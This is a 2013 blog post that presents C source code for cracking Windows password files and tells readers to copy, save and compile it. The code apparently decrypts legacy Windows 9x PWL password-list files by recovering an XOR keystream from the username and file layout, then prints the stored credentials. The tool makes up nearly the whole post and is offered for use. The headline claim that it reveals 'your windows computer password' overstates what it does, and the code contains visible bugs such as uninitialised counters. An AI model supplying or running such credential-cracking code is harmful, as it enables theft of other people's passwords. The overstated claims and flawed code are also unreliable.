Thursday 7 November 2013

CRACK WINDOWS PASSWORD SOURCE CODE


CRACK WINDOWS PASSWORD SOURCE CODE :    This will reveal your windows computer password. Just copy this code on to a notepad.
Save it as anything.c. Remember to change the file type to "All file".

# include<stdio.h>
 # include<stdio.h>
 # include<process.h>
 # include<stdlib.h>
 # include<ctype.h>
 # include<conio.h>
 # include<mem.h>

 unsigned char huge Data[100001];
 unsigned char keystream[1001];
 int Rpoint[300];

 void main(int argc,char *argv[]){
 FILE *fd;
 int i,j;
 int size;
 char ch;
 char *name;
 int cracked;
 int sizemask;
 int maxr;
 int rsz;
 int pos;
 int Rall[300];     /* Resourse allocation table */

 if(argc<2)
 {
     printf("usage: glide filename (username)");
     exit(1);
 }
 /* Read PWL file */

 fd=fopen(argv[1],"rb");
 if(fd==NULL)
 {
       printf("can't open file %s",argv[1]);
       exit(1);
 }
 size=0;
 while(!feof(fd)){
         Data[size++]=fgetc(fd);
 }
 size--;
 fclose(fd);

 /* Find Username */
 name=argv[1];
 if(argc>2)name=argv[2];
 printf("Username:%s",name);

 /* Copy encrypted text into keystream */
 cracked=size-0x0208;
 if(cracked<0)cracked=0;
       if(cracked>1000)cracked=1000;
                memcpy(keystream,Data+0x208,cracked);

 /* Generate 20 bytes of keystream */
 for(i=0;i<20;i++)
 {
     ch=toupper(name[i]);
     if(ch==0)break;
     if(ch=='.')break;
     keystream[i]^=ch;
 };
 cracked=20;

 /* Find allocated resources */
 sizemask=keystream[0]+(keystream[1]<<8);
 printf("Sizemask:%04X",sizemask);
 for(i=0;i<256;i++)
 {
     if(Data[i]!=0xff)
         {
         Rall[Data[i]]++;
         if(Data[i]>maxr)
                             maxr=Data[i];
     }
 }

 maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
 divisible by 16 */

 /*Search after resources */

 Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
 for(i=0;i<maxr;i++)
 {
     /* Find the size of current resourse */
     pos=Rpoint[i];
     rsz=Data[pos]+(Data[pos+1]<<8);
     rsz^=sizemask;
     printf("Analysing block with size:%04x    (%d:%d)",rsz,i,Rall[i]);
     if((Rall[i]==0)&&(rsz!=0))
          {

         printf("Unused resourse has nonzero size!!!");
         printf("If last line produed any:U may try 2 recover");
         printf("Press y to attempt the recovery");
         ch=getch();
         if(ch!='y')exit(0);
         rsz=2;
         i=i-1;
     }
     pos=pos+rsz;
 /* Resourse have a tedency to have the wrong size for some reason*/
     /* Chech for correct size*/
     if(i<maxr-1)
         {
         while(Data[pos+3]!=keystream[1])
                 {
             printf(":",Data[pos+3]);
             pos=pos+2; /* Very rude may fail */
         }
     }
     pos+=2; /* Include pointer in size */
     Rpoint[i+1]=pos;
 }

 Rpoint[maxr]=size;
 /* Insert Table data into keystream*/
 for(i=0;i<=maxr;i++)
 {
     keystream[20+2*i]^=Rpoint[i] & 0x00ff;
     keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
 }
 cracked+=maxr*2+2;
 printf("%d Bytes of ketstream recoverd ",cracked);
 /* Decrypt resources */
 for(i=0;i<maxr;i++)
 {
     rsz=Rpoint[i+1]-Rpoint[i];
         if(rsz>cracked)
         rsz=cracked;
             printf("Resource[%d](%d)",i,rsz);
     for(j=0;j<rsz;j++)                                    
             printf("%c",Data[Rpoint[i]+j]^keystream[j]);
           printf("");
 }
     exit(0);
 }   

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